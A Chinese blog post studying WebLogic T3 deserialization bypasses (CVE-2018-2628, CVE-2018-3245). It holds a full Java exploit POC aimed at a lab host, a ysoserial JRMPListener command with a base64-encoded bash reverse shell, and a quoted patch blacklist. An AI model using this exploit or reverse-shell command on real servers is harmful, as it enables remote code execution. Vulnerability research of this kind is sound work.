前言
继续抽空学习Weblogic CVE中有关T3协议的漏洞利用方式!
环境搭建
和前面的过程类似
T3+JRMP利用
CVE-2018-2628
原理
这个CVE也就是前面的一种绕过,前面是在payload中将其动态代理为了Activator
或者是通过StreamMessageImpl
类进行了封装
分析
我们主要是对使用StreamMessageImpl
类进行封装的方法进行分析一下子
对于上一个CVE中,利用JRMP协议进行任意请求的利用,再通过T3协议进行序列化数据的传输之后,在wls端进行反序列化调用中
在weblogic.rjvm.MsgAbbrevJVMConnection#readMsgAbbrevs
中获取输入流之后调用了weblogic.rjvm.InboundMsgAbbrev#read
进行处理,在该方法中,调用了该类重写的的readObject
方法进行反序列化的调用
一直可以跟踪到java.io.ObjectInputStream#readOrdinaryObject
方法中
是直接调用的readSerialData
方法对序列化数据进行了反序列化处理,进而能够创建一个包含有我们设定的恶意的TCPEndpoint
类的DGCClient
类
之后能够触发连接
但是再上一个版本的补丁中进行了修复,这里的利用方式就是通过最开始调用readSerialData
方法进行直接反序列化数据的位置,我们通过调用readExternalData
方法来间接触发反序列化
但是,我们需要进入这个if
语句,就需要使得,我们传入的类满足
if (desc.isExternalizable())
这个调用,这里的isExternalizable
也就是判断是否实现了Externalizable
接口
在weblogic中有很多的实现
同样因为需要进行反序列化的调用,所以也需要实现了StreamMessageImpl
接口,我们可以定位到这里的利用,StreamMessageImpl
类
因为在ObjectInputStream#readOrdinaryObject
方法中,在进入了if
语句之后将会调用readExternalData
方法,进而调用了我们序列化最外层的类的readExternal
方法
这里即是StreamMessageImpl#readExternal
方法中
我们可以关在到,在while循环中,存在有var5.readObject
方法的调用
想要使得var5
为我们构造的序列化数据,之后成功进行反序列化的利用的。我们需要解决几个难点
- 首先就是需要进入到
case 1:
语句中
我们阅读前面的逻辑,首先是调用了readByte
方法中输入流中获取了一个字节var2
,之后将这个数与127
做按位与运算得到var3
之后判断var3
的值,根据这个逻辑,我们需要在序列化的时候writeByte
一个1
才能够进入case 1:
语句
- 第二个是解决在case语句中生成的
payload
属性是我们的序列化数据,我们跟进一下createPayload
方法看看该属性是从哪里来的
这里首先是调用输入流的readInt
方法得到了序列化数据的长度,之后调用copyPayloadFromStream
方法从流中获取到payload序列化数据,跟进看看
调用了createOneSharedChunk
来创建Chunk
块
逻辑还是很明确的,就是通过read
方法的调用,一块一块的从输入流中读取序列化数据
所以,我们首先需要writeInt
一个序列化数据的长度,之后write序列化数据
综上所述,我们需要在StreamMessageImpl#writeExternal
方法中,一次调用writeByte(1) / writeInt(len(payload)) / write(payload)
我们可以通过重写weblogic.jms.common.StreamMessageImpl
类的writeExternal
方法来实现这些逻辑
所以完整的POC为
package pers.weblogic;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import static com.supeream.weblogic.BypassPayloadSelector.streamMessageImpl;
public class CVE_2017_3248 {
public Object getObject() {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9998);
UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
// Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
return object;
}
public static void main(String[] args) {
try {
byte[] serialize = Serializables.serialize(new CVE_2017_3248().getObject());
T3ProtocolOperation.send("192.168.153.136", "7001", Serializables.serialize(streamMessageImpl(serialize)));
} catch (Exception e) {
e.printStackTrace();
}
}
}
其中的streamMessageImpl
方法
public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
其中setDataBuffer
方法
public void setDataBuffer(byte[] var1, Integer var2) {
this.payload_content = var1;
this.payload_size = var2;
}
对于恶意JRMP服务端,我们可以自己搭建一个,或者直接使用ysoserial项目中的
java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections6 'bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xNTMuMS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}'
给个调用链
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [4]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [3]
readObject0:1535, ObjectInputStream (java.io)
defaultReadFields:2231, ObjectInputStream (java.io)
readSerialData:2155, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [2]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readExternal:1444, StreamMessageImpl (weblogic.jms.common)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io) [1]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
CVE-2018-2693
原理
对于这个CVE也就是在apache修复了commons-collections的漏洞之后,通过JDK 7u21的一个原生反序列化漏洞进行的利用
也就不具体分析了,但是限制也是很大的,虽然现在已经存在有8u20的一个新的利用链,但是还是不能够在较高版本中利用
CVE-2018-3245
原理
这个也就是对前面CVE的修复的一种绕过思路,前面针对该种攻击主要是采用的黑名单的方式进行过滤
// 黑名单package:
java.rmi.activation
sun.rmi.server
// 黑名单class:
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler
这里采用了其他类来代替前面使用的RemoteObjectInvocationHandler
类
分析
我们知道前面JRMP的利用主要是在RemoteObject#readObject
方法
前面使用RemoteObjectInvocationHandler
进行代理,也是想要触发RemoteObject#readObject
方法调用了readExternal
方法进行利用
既然该类不能够使用了,我们可以寻找其他的类来构造,即需要保证该类继承RemoteObject
类且没有重写readObject方法(即使没有破环利用链)
存在有很多类,能够利用
这里至于个例子构建利用链就行了,就例如ReferenceWrapper_Stub
类中的构造方法中
能够传入一个RemoteRef
对象,且并没有实现readObject方法, 也不在黑名单中
我们可以利用这个类代替前面的RemoteObjectInvocationHandler
封装UnicastRef
对象
public Object getObject() {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9997);
UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
// RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
// Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
// Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);
return object;
}
同样还有着很多其他的类能够利用
RegistryImpl_Stub
DGCImpl_Stub
....
但是限制同样存在,前面也提到了JEP 290,在8u231开始不能够成功利用,当然也有着稍微高点版本的绕过方式,这里也就不深入分析了
Ref
https://www.chabug.org/author/Y4er
https://github.com/QAX-A-Team/WeblogicEnvironment
https://www.anquanke.com/member.html?memberId=151002
https://www.freebuf.com/vuls/179579.html
https://www.freebuf.com/vuls/229140.html<sub>~</sub>~